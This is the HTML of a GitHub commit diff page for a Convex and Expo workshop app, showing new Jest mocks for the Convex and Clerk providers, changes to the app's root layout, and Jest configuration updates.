                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;@@ -0,0 +1,5 @@&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import React from &amp;#39;react&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;export const ConvexProviderWithClerk: React.FC&amp;lt;{children: React.ReactNode}&amp;gt; = ({&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  children,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;}) =&amp;gt; &amp;lt;&amp;gt;{children}&amp;lt;/&amp;gt;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;






                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        



          



          &lt;span&gt;
            6 changes: 6 additions &amp;amp; 0 deletions
          &lt;/span&gt;
          &lt;span&gt;6 &lt;/span&gt;

        
&lt;span&gt;
  __mocks__/convex/react.tsx

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/__mocks__/convex/react.tsx&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;@@ -0,0 +1,6 @@&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;export class ConvexReactClient {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  constructor(&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    public url: string,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    public options: {unsavedChangesWarning: boolean},&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  ) {}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;






                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        


          &lt;div&gt;
            
            
          &lt;/div&gt;

          



          &lt;span&gt;
            30 changes: 6 additions &amp;amp; 24 deletions
          &lt;/span&gt;
          &lt;span&gt;30 &lt;/span&gt;

        
&lt;span&gt;
  app/_layout.tsx

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/app/_layout.tsx&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Up
    &lt;/td&gt;
    &lt;td&gt;@@ -7,8 +7,6 @@ import styled, {css} from &amp;#39;@emotion/native&amp;#39;;&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import AsyncStorage from &amp;#39;@react-native-async-storage/async-storage&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {Icon, useDooboo} from &amp;#39;dooboo-ui&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import CustomPressable from &amp;#39;dooboo-ui/uis/CustomPressable&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ConvexProviderWithClerk} from &amp;#39;convex/react-clerk&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ConvexReactClient} from &amp;#39;convex/react&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import StatusBarBrightness from &amp;#39;dooboo-ui/uis/StatusbarBrightness&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {Stack, useRouter} from &amp;#39;expo-router&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import * as SplashScreen from &amp;#39;expo-splash-screen&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
        
          
        
        Expand All
    &lt;/td&gt;
    &lt;td&gt;@@ -22,9 +20,6 @@ import {&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  WEB_URL,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;} from &amp;#39;../src/utils/constants&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import CustomLoadingIndicator from &amp;#39;../src/uis/CustomLoadingIndicator&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ClerkLoaded, ClerkProvider, useAuth} from &amp;#39;@clerk/clerk-expo&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {tokenCache} from &amp;#39;../src/utils/cache&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {clerkPublishableKey} from &amp;#39;../config&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;SplashScreen.preventAutoHideAsync();&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
        
          
        
        Expand All
    &lt;/td&gt;
    &lt;td&gt;@@ -42,10 +37,6 @@ const Content = styled.View`&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  background-color: ${({theme}) =&amp;gt; theme.bg.basic};&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;`;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;const convex = new ConvexReactClient(process.env.EXPO_PUBLIC_CONVEX_URL!, {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  unsavedChangesWarning: false,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;});&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;function Layout(): JSX.Element | null {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  const {assetLoaded, theme} = useDooboo();&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  const {back, replace} = useRouter();&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Down
          
            
          
          Expand Up
    &lt;/td&gt;
    &lt;td&gt;@@ -144,21 +135,12 @@ export default function RootLayout(): JSX.Element | null {&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        flex: 1;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      `}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;ClerkProvider&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        tokenCache={tokenCache}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        publishableKey={clerkPublishableKey}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;ClerkLoaded&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;ConvexProviderWithClerk client={convex} useAuth={useAuth}&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            &amp;lt;RootProvider initialThemeType={localThemeType as ColorSchemeName}&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              &amp;lt;&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;                &amp;lt;StatusBarBrightness /&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;                &amp;lt;Layout /&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              &amp;lt;/&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            &amp;lt;/RootProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;/ConvexProviderWithClerk&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;/ClerkLoaded&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;/ClerkProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;RootProvider initialThemeType={localThemeType as ColorSchemeName}&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;StatusBarBrightness /&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;Layout /&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;/&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;/RootProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;lt;/GestureHandlerRootView&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  );&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;






                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        


          &lt;div&gt;
            
            
          &lt;/div&gt;

          



          &lt;span&gt;
            5 changes: 4 additions &amp;amp; 1 deletion
          &lt;/span&gt;
          &lt;span&gt;5 &lt;/span&gt;

        
&lt;span&gt;
  jest.config.ts

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/jest.config.ts&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Up
    &lt;/td&gt;
    &lt;td&gt;@@ -13,7 +13,7 @@ export default async (): Promise&amp;lt;Config.InitialOptions&amp;gt; =&amp;gt; {&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    },&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    transformIgnorePatterns: [&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      // eslint-disable-next-line max-len&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;node_modules/(?!((jest-)?react-native|@react-native(-community)?)|expo(nent)?|@expo(nent)?/.*|@expo-google-fonts/.*|react-navigation|@react-navigation/.*|@unimodules/.*|unimodules|sentry-expo|native-base|react-native-svg|dooboo-ui|@dooboo-ui)&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;node_modules/(?!((jest-)?react-native|@react-native(-community)?)|expo(nent)?|@expo(nent)?/.*|@expo-google-fonts/.*|react-navigation|@react-navigation/.*|@unimodules/.*|unimodules|sentry-expo|native-base|react-native-svg|dooboo-ui|@dooboo-ui&lt;span&gt;|react-clerk|@clerk&lt;/span&gt;)&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    ],&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    modulePaths: [&amp;#39;&amp;lt;rootDir&amp;gt;&amp;#39;],&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    moduleDirectories: [&amp;#39;node_modules&amp;#39;],&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
        
          
        
        Expand All
    &lt;/td&gt;
    &lt;td&gt;@@ -27,6 +27,9 @@ export default async (): Promise&amp;lt;Config.InitialOptions&amp;gt; =&amp;gt; {&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    moduleNameMapper: {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;\\.svg&amp;#39;: &amp;#39;&amp;lt;rootDir&amp;gt;/__mocks__/svgMock.js&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;.+\\.(css|style|less|sass|scss|png|jpg|ttf|woff|woff2)$&amp;#39;: &amp;#39;babel-jest&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;^@clerk/clerk-expo$&amp;#39;: &amp;#39;&amp;lt;rootDir&amp;gt;/__mocks__/@clerk/clerk-expo.ts&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;^convex/react-clerk$&amp;#39;: &amp;#39;&amp;lt;rootDir&amp;gt;/__mocks__/convex/react-clerk.ts&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;^convex/react$&amp;#39;: &amp;#39;&amp;lt;rootDir&amp;gt;/__mocks__/convex/react.ts&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    },&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    setupFiles: [&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;#39;&amp;lt;rootDir&amp;gt;/test/testSetup.ts&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




  &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Down
    &lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;


                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        


          &lt;div&gt;
            
            
          &lt;/div&gt;

          



          &lt;span&gt;
            41 changes: 28 additions &amp;amp; 13 deletions
          &lt;/span&gt;
          &lt;span&gt;41 &lt;/span&gt;

        
&lt;span&gt;
  src/providers/index.tsx

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
